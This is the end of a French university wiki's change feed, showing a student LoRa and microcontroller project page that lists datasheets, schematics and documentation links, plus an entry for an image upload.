[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ping.jpg&amp;diff=38939</id>
		<title>Fichier:Ping.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ping.jpg&amp;diff=38939"/>
				<updated>2017-02-13T13:03:26Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : a téléversé une nouvelle version de « Fichier:Ping.jpg »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	</feed>